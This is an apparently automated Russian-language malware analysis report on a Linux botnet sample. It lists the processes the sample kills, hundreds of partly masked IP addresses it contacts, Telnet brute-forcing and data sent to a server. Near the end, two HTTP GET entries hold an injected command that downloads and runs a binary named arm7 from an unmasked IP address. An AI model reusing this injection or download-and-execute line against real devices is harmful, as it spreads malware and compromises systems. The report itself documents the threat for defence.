Техническая информация
Вредоносные функции:
Подменяет имя приложения на:
- /bin/busybox
Завершает системные процессы:
- sshd
Завершает следующие процессы:
- <SAMPLE>
- dhclient
- rpcbind
- rpc.statd
- rpc.idmapd
- atd
- cron
- systemd-logind
- rsyslogd
- acpid
- dbus-daemon
- agetty
- exim4
- bash
- run.sh
- systemd
Сетевая активность:
Устанавливает соединение:
- 18#.###.110.230:9090
- 21#.##.36.78:60001
- 22#.##.51.127:60001
- 78.##.43.159:60001
- 46.###.142.177:60001
- 46.##.183.116:60001
- 77.##.3.90:60001
- 78.###.76.188:60001
- 80.###.54.81:60001
- 84.##.250.211:60001
- 31.###.240.198:60001
- 21#.##.229.36:60001
- 18#.###.101.120:60001
- 80.##.33.192:60001
- 79.###.53.61:60001
- 80.##.213.227:60001
- 31.###.33.26:60001
- 80.##.14.145:60001
- 46.###.6.43:60001
- 46.##.123.187:60001
- 77.##.164.144:60001
- 80.###.25.148:60001
- 80.###.150.146:60001
- 21#.##.80.92:60001
- 18#.###.20.142:60001
- 79.###.238.161:60001
- 77.##.29.139:60001
- 77.##.53.28:60001
- 21#.##.67.11:60001
- 8.##.#75.115:60001
- 21#.###.111.185:60001
- 79.###.162.147:60001
- 77.###.164.176:60001
- 79.###.125.114:60001
- 31.###.92.140:60001
- 5.##.#03.70:60001
- 91.###.153.137:60001
- 46.###.246.202:60001
- 91.#.#38.134:60001
- 80.###.174.193:60001
- 31.###.139.73:60001
- 49.##.228.160:60001
- 18#.##.10.57:60001
- 31.##.228.159:60001
- 79.###.138.9:60001
- 46.###.252.133:60001
- 77.###.80.110:60001
- 78.###.122.27:60001
- 83.###.130.186:60001
- 18#.###.43.119:60001
- 37.##.53.195:60001
- 91.###.54.137:60001
- 16#.###.23.103:60001
- 23#.###.29.106:60001
- 5.##.#6.93:60001
- 45.##.19.77:60001
- 21#.##.45.134:60001
- 5.###.107.84:60001
- 91.###.60.173:60001
- 5.###.5.131:60001
- 5.###.185.22:60001
- 86.##.119.190:60001
- 12#.###.140.90:60001
- 21#.##.223.121:60001
- 83.###.156.53:60001
- 5.###.42.164:60001
- 79.###.133.23:60001
- 80.###.211.57:60001
- 21#.##.135.12:60001
- 91.###.249.41:60001
- 23#.##2.17.31:60001
- 78.###.175.106:60001
- 15#.##.90.195:60001
- 5.###.2.157:60001
- 77.###.92.157:60001
- 49.#.#59.251:60001
- 78.###.166.85:60001
- 77.##.57.201:60001
- 91.##.95.253:60001
- 91.##.160.27:60001
- 45.###.242.29:60001
- 91.###.251.229:60001
- 31.###.79.117:60001
- 15#.##.213.77:60001
- 21#.#.105.213:60001
- 77.###.65.188:60001
- 37.###.26.40:60001
- 77.###.78.203:60001
- 91.##.128.134:60001
- 87.##.86.123:60001
- 5.#.##1.85:60001
- 21#.##.115.158:60001
- 45.##.229.174:60001
- 91.###.240.15:60001
- 37.###.196.244:60001
- 21#.#.162.104:60001
- 5.###.51.138:60001
- 46.###.254.152:60001
- 31.###.16.74:60001
- 77.###.76.50:60001
- 63.##.168.150:60001
- 18#.##.232.86:60001
- 19#.##.77.94:60001
- 21#.###.156.107:60001
- 37.###.122.73:60001
- 91.##.168.81:60001
- 21#.###.65.201:60001
- 50.##.51.56:60001
- 78.###.241.117:60001
- 31.###.216.230:60001
- 80.###.228.229:60001
- 21#.##.151.158:60001
- 18#.###.193.227:60001
- 21#.##7.33.17:60001
- 91.###.181.27:60001
- 46.##.53.58:60001
- 31.##.12.40:60001
- 45.###.82.139:60001
- 5.###.101.88:60001
- 37.###.255.18:60001
- 24#.##.161.115:60001
- 21#.###.51.246:60001
- 21#.##.52.143:60001
- 78.###.197.152:60001
- 21#.###.254.182:60001
- 21#.##1.62.28:60001
- 21#.###.144.131:60001
- 21#.###.205.45:60001
- 20#.##0.76.8:60001
- 5.###.13.61:60001
- 37.###.248.82:60001
- 46.##.62.167:60001
- 18#.###.219.146:60001
- 15#.###.226.161:60001
- 45.###.229.162:60001
- 46.##.95.80:60001
- 80.###.107.45:60001
- 78.##.162.175:60001
- 16#.##.36.97:60001
- 21#.###.60.108:60001
- 37.###.96.207:60001
- 18#.##.216.251:60001
- 77.###.149.183:60001
- 45.#.#5.161:60001
- 13#.##1.81.26:60001
- 37.###.221.169:60001
- 77.###.175.185:60001
- 86.###.183.44:60001
- 31.###.120.236:60001
- 5.###.94.99:60001
- 18#.##.143.154:60001
- 91.###.150.125:60001
- 91.###.221.158:60001
- 46.###.119.122:60001
- 31.###.253.57:60001
- 21#.###.154.123:60001
- 5.###.184.210:60001
- 78.###.53.19:60001
- 77.##.121.253:60001
- 21#.###.147.130:60001
- 46.###.199.41:60001
- 78.###.32.121:60001
- 37.###.246.101:60001
- 20#.##.235.171:60001
- 10#.##.100.221:60001
- 37.###.136.46:60001
- 77.##.29.189:60001
- 79.###.161.218:60001
- 78.#.#47.26:60001
- 46.###.163.142:60001
- 87.###.188.182:60001
- 79.##.79.78:60001
- 77.##.97.179:60001
- 21#.##.14.226:60001
- 21#.##7.13.3:60001
- 45.#.#03.216:60001
- 79.###.10.212:60001
- 8.###.160.145:60001
- 31.##.68.18:60001
- 5.###.46.123:60001
- 77.###.169.207:60001
- 78.###.158.88:60001
- 45.###.249.102:60001
- 21#.###.237.19:60001
- 10#.##.104.252:60001
- 45.###.223.180:60001
- 79.###.223.11:60001
- 91.##.191.77:60001
- 21#.###.116.91:60001
- 16#.###.116.237:60001
- 31.###.129.64:60001
- 18#.###.145.58:60001
- 21#.###.133.224:60001
- 18#.#.67.253:60001
- 91.###.254.40:60001
- 91.###.206.167:60001
- 98.###.68.242:60001
- 78.###.116.151:60001
- 77.##.55.235:60001
- 21#.##2.0.125:60001
- 46.###.250.83:60001
- 77.###.151.230:60001
- 79.###.183.249:60001
- 77.##.56.92:60001
- 21#.#.235.71:60001
- 60.##.133.88:60001
- 79.###.23.217:60001
- 78.##.189.228:60001
- 79.###.228.192:60001
- 21#.###.203.184:60001
- 11#.###.118.60:60001
- 78.###.0.218:60001
- 78.###.155.250:60001
- 21#.##.103.177:60001
- 79.##.213.40:60001
- 83.###.44.171:60001
- 77.###.218.205:60001
- 78.##.98.89:60001
- 78.###.70.3:60001
- 21#.##2.58.95:60001
- 21#.##.73.138:60001
- 37.###.222.254:60001
- 37.###.59.124:60001
- 31.##.215.255:60001
- 25#.###.138.87:60001
- 31.##.144.146:60001
- 37.###.240.3:60001
- 37.##.26.115:60001
- 91.###.214.31:60001
- 78.###.205.25:60001
- 37.##.254.141:60001
- 91.###.23.109:60001
- 21#.###.157.116:60001
- 31.##.64.112:60001
- 21#.##.109.71:60001
- 31.##.26.155:60001
- 18#.##.240.130:60001
- 91.###.94.221:60001
- 91.##.32.151:60001
- 21#.###.140.125:60001
- 24#.##.99.85:60001
- 46.###.160.75:60001
- 46.##.217.142:60001
- 78.###.2.6:60001
- 91.##.29.60:60001
- 46.###.8.49:60001
- 37.###.238.86:60001
- 24.###.133.231:60001
- 37.###.36.52:60001
- 80.###.126.241:60001
- 79.##.170.53:60001
- 46.##.138.138:60001
- 21#.###.70.228:60001
- 21#.##2.3.90:60001
- 46.###.96.240:60001
- 24#.###.228.48:60001
- 79.###.139.156:60001
- 45.###.243.243:60001
- 37.###.208.51:60001
- 46.###.150.246:60001
- 79.###.112.144:60001
- 10#.###.186.23:60001
- 91.##.12.205:60001
- 78.#.#75.216:60001
- 12#.##.230.117:60001
- 56.###.45.142:60001
- 37.##.190.109:60001
- 31.###.192.203:60001
- 5.###.99.221:60001
- 31.##.250.56:60001
- 31.##.167.164:60001
- 79.##.101.67:60001
- 46.###.52.221:60001
- 79.###.231.67:60001
- 79.###.153.241:60001
- 80.###.31.45:60001
- 77.##.235.255:60001
- 37.###.215.192:60001
- 79.###.113.88:60001
- 15#.##7.209.3:60001
- 91.##.70.164:60001
- 46.##.252.176:60001
- 18#.##.243.236:60001
- 45.##.107.244:60001
- 79.###.55.96:60001
- 18#.###.190.239:60001
- 75.###.51.148:60001
- 37.###.61.202:60001
- 46.###.49.64:60001
- 18#.##5.7.102:60001
- 24#.###.179.73:60001
- 77.###.66.16:60001
- 79.##.236.212:60001
- 37.##.185.254:60001
- 77.###.14.51:60001
- 21#.#.211.95:60001
- 80.###.66.91:60001
- 21#.##.44.219:60001
- 21#.#.40.75:60001
- 45.###.21.239:60001
- 37.##.3.228:60001
- 78.###.227.42:60001
- 46.###.153.36:60001
- 31.###.3.195:60001
- 18#.##.96.226:60001
- 37.###.67.233:60001
- 21#.###.22.174:60001
- 31.##.174.203:60001
- 80.##.8.128:60001
- 24#.###.150.66:60001
- 70.##.168.58:60001
- 45.###.106.69:60001
- 18#.##.45.198:60001
- 46.###.170.81:60001
- 12#.##.200.254:60001
- 46.###.117.126:60001
- 15#.#.89.188:60001
- 21#.###.116.86:60001
- 80.##.174.62:60001
- 77.##.160.231:60001
- 18#.##.138.15:60001
- 91.###.131.232:60001
- 31.###.253.179:60001
- 77.###.220.56:60001
- 80.#.#08.41:60001
- 37.###.109.206:60001
- 91.###.183.38:60001
- 5.##.#5.104:60001
- 18#.##.139.143:60001
- 46.##.172.192:60001
- 21#.###.128.58:60001
- 80.###.104.90:60001
- 46.###.57.55:60001
- 45.##.19.152:60001
- 80.##.36.201:60001
- 78.##.10.180:60001
- 78.##.183.64:60001
- 21#.###.89.121:60001
- 46.##.162.159:60001
- 37.###.143.148:60001
- 77.###.24.84:60001
- 79.###.81.190:60001
- 46.#.#8.122:60001
- 91.###.251.50:60001
- 91.###.151.53:60001
- 21#.###.104.239:60001
- 5.##.#0.18:60001
- 11#.##.32.74:60001
- 21#.###.118.172:60001
- 21#.##.95.18:60001
- 52.##.66.51:60001
- 91.##.32.58:60001
- 21#.###.187.203:60001
- 37.###.102.210:60001
- 5.###.254.59:60001
- 80.###.18.160:60001
- 60.###.212.68:60001
- 77.##.172.136:60001
- 79.###.196.46:60001
- 12.##.76.236:60001
- 17#.###.214.253:60001
- 51.###.156.196:60001
- 46.##.164.72:60001
- 49.#.#65.95:60001
- 78.###.113.198:60001
- 79.###.156.142:60001
- 46.###.254.234:60001
- 41.##.50.88:60001
- 52.##.237.141:60001
- 23#.##.241.214:60001
- 21#.##4.1.50:60001
- 78.###.126.67:60001
- 88.###.172.198:60001
- 5.##.#29.11:60001
- 21#.##.96.179:60001
- 18#.###.223.132:60001
- 18#.###.34.108:60001
- 31.###.67.45:60001
- 21#.###.245.85:60001
- 12#.##.14.49:60001
- 21#.###.55.200:60001
- 61.##.97.154:60001
- 21#.##.210.205:60001
- 5.###.209.78:60001
- 91.###.65.220:60001
- 37.###.147.247:60001
- 31.###.77.5:60001
- 19#.##.215.226:60001
- 45.###.183.153:60001
- 37.###.199.148:60001
- 45.###.43.41:60001
- 21#.###.222.115:60001
- 20.###.23.148:60001
- 45.##.164.120:60001
- 37.##.90.122:60001
- 21#.##.73.120:60001
- 5.###.154.51:60001
- 80.##.110.53:60001
- 46.###.67.135:60001
- 63.###.86.73:60001
- 17#.##.194.141:60001
- 86.##.106.89:60001
- 81.###.144.103:60001
- 31.###.241.30:60001
- 15#.##1.6.242:60001
- 80.###.63.161:60001
- 16#.##.122.52:60001
- 45.###.107.68:60001
- 80.##.143.127:60001
- 45.###.222.74:60001
- 37.###.85.54:60001
- 18#.###.170.219:60001
- 45.##.40.217:60001
- 79.##.165.137:60001
- 77.##.32.194:60001
- 77.##.235.77:60001
- 5.###.46.118:60001
- 80.##.43.182:60001
- 77.###.241.109:60001
- 46.###.43.101:60001
- 91.###.1.133:60001
- 37.###.51.215:60001
- 46.###.150.238:60001
- 10#.##.63.110:60001
- 80.###.230.225:60001
- 1.###.32.21:60001
- 91.###.182.210:60001
- 18#.###.54.105:60001
- 37.###.154.145:60001
- 21#.##.184.155:60001
- 21#.##.251.44:60001
- 37.##.194.81:60001
- 45.###.252.223:60001
- 37.##.128.59:60001
- 59.###.104.87:60001
- 5.##.#08.67:60001
- 45.##.36.98:60001
- 78.##.233.118:60001
- 15.###.251.112:60001
- 46.##.139.205:60001
- 37.###.53.139:60001
- 5.###.236.216:60001
- 78.##.20.218:60001
- 37.###.157.224:60001
- 88.###.153.107:60001
- 21#.##.254.66:60001
- 21#.###.54.144:60001
- 45.##.24.77:60001
- 46.##.114.32:60001
- 91.###.19.58:60001
- 11#.###.137.52:60001
- 37.###.101.144:60001
- 61.###.154.175:60001
- 56.###.6.119:60001
- 77.###.205.154:60001
- 77.##.236.53:60001
- 78.###.26.132:60001
- 53.###.210.209:60001
- 31.###.104.133:60001
- 91.###.103.222:60001
- 31.##.220.249:60001
- 45.##.177.67:60001
- 77.##.242.19:60001
- 91.###.23.8:60001
- 77.###.35.251:60001
- 18#.###.139.122:60001
- 21#.###.212.174:60001
- 61.###.252.142:60001
- 37.###.49.103:60001
- 79.##.40.161:60001
- 5.###.238.128:60001
- 5.###.242.97:60001
- 91.###.80.252:60001
- 21#.##.115.103:60001
- 97.###.124.4:60001
- 12#.###.155.161:60001
- 18#.##.109.201:60001
- 77.###.24.156:60001
- 78.##.7.172:60001
- 21#.##6.89.19:60001
- 37.###.45.163:60001
- 78.###.126.63:60001
- 80.###.208.27:60001
- 19#.#.71.95:60001
- 80.##.152.51:60001
- 24.##.51.106:60001
- 79.##.101.51:60001
- 21#.###.253.192:60001
- 14#.###.159.33:60001
- 77.###.51.207:60001
- 12#.##.189.142:60001
- 91.###.11.220:60001
- 46.###.179.106:60001
- 21#.##.208.226:60001
- 31.#.#.109:60001
- 79.###.221.58:60001
- 21#.##.111.143:60001
- 5.###.213.194:60001
- 24.##.114.164:60001
- 90.##.26.222:60001
- 77.###.237.166:60001
- 37.###.67.106:60001
- 46.###.182.96:60001
- 78.###.139.22:60001
- 79.###.240.77:60001
- 91.#.#7.34:60001
- 21#.##.18.81:60001
- 21#.##.44.153:60001
- 16#.##7.55.34:60001
- 21#.##.178.16:60001
- 31.###.23.34:60001
- 23#.###.177.32:60001
- 19#.##.172.83:60001
- 80.##.150.228:60001
- 46.###.13.107:60001
- 31.#.#9.131:60001
- 91.###.140.36:60001
- 91.###.7.101:60001
- 78.###.26.104:60001
- 91.##.42.44:60001
- 78.###.210.205:60001
- 37.###.217.137:60001
- 5.###.65.223:60001
- 31.###.207.173:60001
- 22#.##9.155.0:60001
- 78.##.216.222:60001
- 45.###.245.191:60001
- 48.###.3.123:60001
- 20#.##.5.15:60001
- 79.##.115.186:60001
- 5.#.#5.91:60001
- 78.###.224.193:60001
- 21#.###.19.226:60001
- 91.###.197.106:60001
- 78.###.120.76:60001
- 18#.###.189.203:60001
- 31.###.77.143:60001
- 13#.###.125.157:60001
- 14#.##.102.16:60001
- 9.##.#19.43:60001
- 34.##.46.34:60001
- 80.###.94.131:60001
- 20#.##.162.11:60001
- 80.##.225.130:60001
- 18#.##.23.231:60001
- 21#.###.199.45:60001
- 46.###.208.114:60001
- 10#.##6.76.8:60001
- 77.##.120.154:60001
- 79.###.241.96:60001
- 19#.##3.5.50:60001
- 22#.###.157.198:60001
- 11#.##.232.103:60001
- 22#.###.226.196:60001
- 45.##.75.238:60001
- 17.###.121.19:60001
- 31.##.218.230:60001
- 9.##.#87.91:60001
- 37.###.159.30:60001
- 45.##.95.39:60001
- 79.#.#1.200:60001
- 31.###.165.126:60001
- 77.###.98.130:60001
- 13#.##.24.29:60001
- 21#.##.51.164:60001
- 37.###.21.13:60001
- 21#.###.13.155:60001
- 5.#.##6.165:60001
- 37.###.82.5:60001
- 21#.##.220.99:60001
- 79.###.94.245:60001
- 31.##.19.148:60001
- 91.###.109.162:60001
- 91.##.234.35:60001
- 46.##.50.145:60001
- 21#.##.37.222:60001
- 79.###.23.88:60001
- 37.###.93.69:60001
- 79.###.112.206:60001
- 5.##.#0.152:60001
- 22#.##5.99.95:60001
- 13#.###.51.115:60001
- 18#.###.177.175:60001
- 91.##.253.135:60001
- 21#.###.62.208:60001
- 80.###.21.206:60001
- 31.##.106.33:60001
- 16#.###.110.234:60001
- 18#.###.106.174:60001
- 21#.##.159.208:60001
- 45.##.227.29:60001
- 18#.###.249.171:60001
- 91.###.243.230:60001
- 18#.##.234.72:60001
- 37.##.240.46:60001
- 86.###.139.68:60001
- 31.##.130.97:60001
- 31.###.194.158:60001
- 79.###.33.139:60001
- 79.###.38.70:60001
- 18#.###.192.222:60001
- 5.###.200.24:60001
- 18#.###.160.128:60001
- 69.##.25.89:60001
- 21#.##2.74.5:60001
- 5.###.242.213:60001
- 18#.###.120.25:60001
- 79.##.248.44:60001
- 10#.##.79.99:60001
- 24#.##.121.180:60001
- 74.###.156.30:60001
- 18#.##.232.198:60001
- 37.#.#02.108:60001
- 22#.###.36.111:60001
- 80.###.157.242:60001
- 5.##.#11.179:60001
- 19#.###.236.19:60001
- 46.###.196.184:60001
- 79.###.234.15:60001
- 45.###.135.250:60001
- 91.###.153.83:60001
- 5.###.247.242:60001
- 45.###.40.73:60001
- 45.##.31.233:60001
- 78.###.25.19:60001
- 13#.###.127.181:60001
- 21#.##.151.250:60001
- 46.#.#.179:60001
- 80.###.138.233:60001
- 78.#.#7.114:60001
- 12#.###.207.78:60001
- 45.###.122.35:60001
- 78.##.84.191:60001
- 78.###.243.39:60001
- 78.###.28.7:60001
- 78.###.188.184:60001
- 22#.###.140.137:60001
- 21#.##.216.154:60001
- 23#.##.90.36:60001
- 21#.###.194.122:60001
- 37.###.230.95:60001
- 80.##.237.169:60001
- 21#.###.199.196:60001
- 13#.###.155.224:60001
- 77.##.51.22:60001
- 21#.###.166.42:60001
- 77.###.223.34:60001
- 91.###.12.95:60001
- 79.##.169.119:60001
- 91.##.16.177:60001
- 91.###.226.66:60001
- 79.###.138.127:60001
- 45.###.160.51:60001
Проводит атаку перебором по словарю (брутфорс) по протоколу Telnet.
HTTP GET-запросы:
- http://###.###.###.#########cdtmp;wgetttp://185.172.110.230/arm7O;chmod20k;./kaws;rm
- http://###.##.##.##########cdtmp;wgetttp://185.172.110.230/arm7O;chmod20k;./kaws;rm
Посылает данные следующим серверам:
- 18#.###.110.230:9090
Прочее:
Собирает информацию о сетевой активности
